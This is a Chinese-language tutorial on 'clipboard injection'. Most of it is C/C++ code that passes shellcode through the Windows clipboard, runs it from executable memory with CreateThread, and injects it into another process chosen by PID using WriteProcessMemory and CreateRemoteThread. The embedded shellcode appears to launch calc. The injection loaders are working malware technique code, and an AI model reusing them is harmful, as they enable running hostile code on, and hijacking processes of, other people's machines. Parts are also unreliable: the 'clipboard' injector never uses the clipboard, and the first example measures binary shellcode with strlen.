13-剪贴板注入(Clipboard Injection)
一、前言
本节涉及 进程间通信(IPC)
,剪贴板是进程间通信的方法之一,其实注册表也可以作为进程间通信的桥梁。
如果可以通过进程间通信获得全局内存的句柄,就可以共享内存中的shellcode,一般全局内存是不可执行的,记得复制到具有可执行权限的内存或者说用 VirtualProtect/VirtualProtectEx
,当然这只是作为拓展思路,本文用的不是这个方法。进程间通信当然不局限于传输shellcode。
剪贴板:是一组功能和使应用程序来传输的数据消息。由于所有应用程序都可以访问剪贴板,因此可以轻松地在应用程序之间或应用程序内传输数据。
剪贴板的数据格式:文本、图片、程序
注册剪切板格式:我们可以注册一个新的剪切板格式来存放我们的数据
本节介绍的执行链与前面介绍的并没有什么区别,但是学习到了一个可以分配全程内存的API,GlobalAlloc
:globalAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn
二、代码实现
2.1 单进程
#include <windows.h>
#include <stdio.h>
#include <cstdlib> // 添加此行以包含 malloc 的定义
typedef struct {
unsigned char* payload; // shellcode
size_t length; // shellcode 长度
int key; // 其他参数
} Payload;
// 假设 spawn 函数的声明
void spawn(unsigned char* buffer, size_t length, int key);
void ClipboardOperation(Payload* payload) {
HGLOBAL hglb;
LPVOID lptstr;
SYSTEMTIME systemTime;
// 打开剪贴板
if (!OpenClipboard(NULL)) {
fprintf(stderr, "Failed to open clipboard. Error: %d\n", GetLastError());
return;
}
// 读取剪贴板内容
hglb = GetClipboardData(CF_TEXT);
if (hglb != NULL) {
lptstr = GlobalLock(hglb);
if (lptstr != NULL) {
GetLocalTime(&systemTime);
GlobalUnlock(hglb);
}
}
// 清空剪贴板
EmptyClipboard();
// 分配内存并复制 shellcode 到剪贴板
HGLOBAL hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE, payload->length);
if (hGlobalCopy == NULL) {
fprintf(stderr, "GlobalAlloc failed. Error: %d\n", GetLastError());
CloseClipboard();
return;
}
LPVOID lpCopy = GlobalLock(hGlobalCopy);
if (lpCopy != NULL) {
memcpy(lpCopy, payload->payload, payload->length);
GlobalUnlock(hGlobalCopy);
}
// 设置剪贴板数据
if (SetClipboardData(CF_TEXT, hGlobalCopy) == NULL) {
fprintf(stderr, "SetClipboardData failed. Error: %d\n", GetLastError());
GlobalFree(hGlobalCopy);
CloseClipboard();
return;
}
// 读取剪贴板数据到 buffer
HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
if (hGlobal != NULL) {
lptstr = GlobalLock(hGlobal);
if (lptstr != NULL) {
unsigned char* buffer = (unsigned char*)malloc(payload->length);
if (buffer) {
memcpy(buffer, lptstr, payload->length);
GlobalUnlock(hGlobal);
// 调用 spawn 函数
spawn(buffer, payload->length, payload->key);
free(buffer); // 释放分配的内存
}
else {
fprintf(stderr, "Failed to allocate memory for buffer.\n");
}
}
}
// 清空剪贴板并关闭
EmptyClipboard();
CloseClipboard();
}
void spawn(unsigned char* buffer, size_t length, int key) {
// 创建一个可执行的内存区域
DWORD oldProtect;
LPVOID execMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMem == NULL) {
fprintf(stderr, "Failed to allocate executable memory. Error: %d\n", GetLastError());
return;
}
// 将 shellcode 复制到可执行内存区域
memcpy(execMem, buffer, length);
// 创建一个新的线程来执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
if (hThread == NULL) {
fprintf(stderr, "Failed to create thread. Error: %d\n", GetLastError());
VirtualFree(execMem, 0, MEM_RELEASE);
return;
}
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理
CloseHandle(hThread);
VirtualFree(execMem, 0, MEM_RELEASE);
}
int main() {
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 示例 payload 初始化
Payload payload;
payload.payload = (unsigned char*)shellcode; // 示例 shellcode
payload.length = strlen((char*)payload.payload);
payload.key = 123; // 示例 key
ClipboardOperation(&payload);
return 0;
}

2.2 多进程
写入shellcode
#include <windows.h>
#include <iostream>
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,
0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,
0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,
0x5A, 0x59, 0x58, 0xC3
};
int main() {
// 打开剪贴板
if (!OpenClipboard(NULL)) {
std::cerr << "Failed to open clipboard. Error: " << GetLastError() << std::endl;
return 1;
}
// 清空剪贴板
EmptyClipboard();
// 分配全局内存,sizeof(shellcode)+1是关键,因为第sizeof(shellcode)他还填充为00截断,tmd搞了一下午才明白
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, sizeof(shellcode)+1);
if (hGlob == NULL) {
std::cerr << "GlobalAlloc failed. Error: " << GetLastError() << std::endl;
CloseClipboard();
return 1;
}
// 锁定内存并复制 shellcode
memcpy(GlobalLock(hGlob), shellcode, sizeof(shellcode));
GlobalUnlock(hGlob);
// 设置剪贴板数据
if (SetClipboardData(CF_TEXT, hGlob) == NULL) {
std::cerr << "SetClipboardData failed. Error: " << GetLastError() << std::endl;
GlobalFree(hGlob);
CloseClipboard();
return 1;
}
// 关闭剪贴板
CloseClipboard();
std::cout << "Shellcode copied to clipboard." << std::endl;
return 0;
}
读取并执行shellcode
#include <windows.h>
#include <iostream>
int main() {
// 打开剪贴板
if (!OpenClipboard(NULL)) {
std::cerr << "OpenClipboard failed. Error: " << GetLastError() << std::endl;
return 1;
}
// 获取剪贴板数据
HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
if (hGlobal == NULL) {
std::cerr << "GetClipboardData failed. Error: " << GetLastError() << std::endl;
CloseClipboard();
return 1;
}
// 锁定内存并获取 shellcode 指针
void* pGlobal = GlobalLock(hGlobal);
if (pGlobal == NULL) {
std::cerr << "GlobalLock failed. Error: " << GetLastError() << std::endl;
CloseClipboard();
return 1;
}
// 获取数据的大小
SIZE_T dataSize = GlobalSize(hGlobal);
if (dataSize == 0) {
std::cerr << "GlobalSize failed. Error: " << GetLastError() << std::endl;
GlobalUnlock(hGlobal); // 如果需要,解锁内存
CloseClipboard();
return 1;
}
// 分配可执行内存
void* pExec = VirtualAlloc(NULL, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pExec == NULL) {
std::cerr << "VirtualAlloc failed. Error: " << GetLastError() << std::endl;
GlobalUnlock(hGlobal);
CloseClipboard();
return 1;
}
// 复制 shellcode 到可执行内存
memcpy(pExec, pGlobal, dataSize);
// 解锁剪贴板内存
GlobalUnlock(hGlobal);
CloseClipboard();
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExec, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 释放内存
VirtualFree(pExec, 0, MEM_RELEASE);
// 释放内存
return 0;
}

2.3 一个进程完成shellcode注入到另一个进程
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
// Shellcode
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
class ClipboardInjector {
private:
const unsigned char* m_shellcode;
size_t m_shellcodeSize;
public:
ClipboardInjector(const unsigned char* shellcode, size_t size)
: m_shellcode(shellcode), m_shellcodeSize(size) {}
bool InjectViaClipboard(DWORD targetPid) {
// 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE,
targetPid
);
if (!hProcess) {
return false;
}
// 在目标进程中分配内存
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remoteBuffer) {
CloseHandle(hProcess);
return false;
}
// 写入 shellcode 到目标进程
SIZE_T bytesWritten;
BOOL writeResult = WriteProcessMemory(
hProcess,
remoteBuffer,
shellcode,
sizeof(shellcode),
&bytesWritten
);
if (!writeResult) {
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
// 获取 kernel32.dll 中的函数地址
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC pOpenClipboard = GetProcAddress(hKernel32, "OpenClipboard");
FARPROC pGetClipboardData = GetProcAddress(hKernel32, "GetClipboardData");
FARPROC pCloseClipboard = GetProcAddress(hKernel32, "CloseClipboard");
// 创建远程线程
HANDLE hRemoteThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL,
0,
NULL
);
if (!hRemoteThread) {
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
// 等待线程结束
WaitForSingleObject(hRemoteThread, INFINITE);
// 清理资源
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return true;
}
};
int main() {
// 用户输入被注入进程的PID
DWORD PID;
std::cout << "请输入被注入进程的PID:";
std::cin >> PID;
// 创建剪贴板注入器
ClipboardInjector injector(shellcode, sizeof(shellcode)+1);
// 执行注入
if (injector.InjectViaClipboard(PID)) {
std::wcout << L"注入成功!" << std::endl;
}
else {
std::wcerr << L"注入失败!" << std::endl;
return 1;
}
return 0;
}

Last updated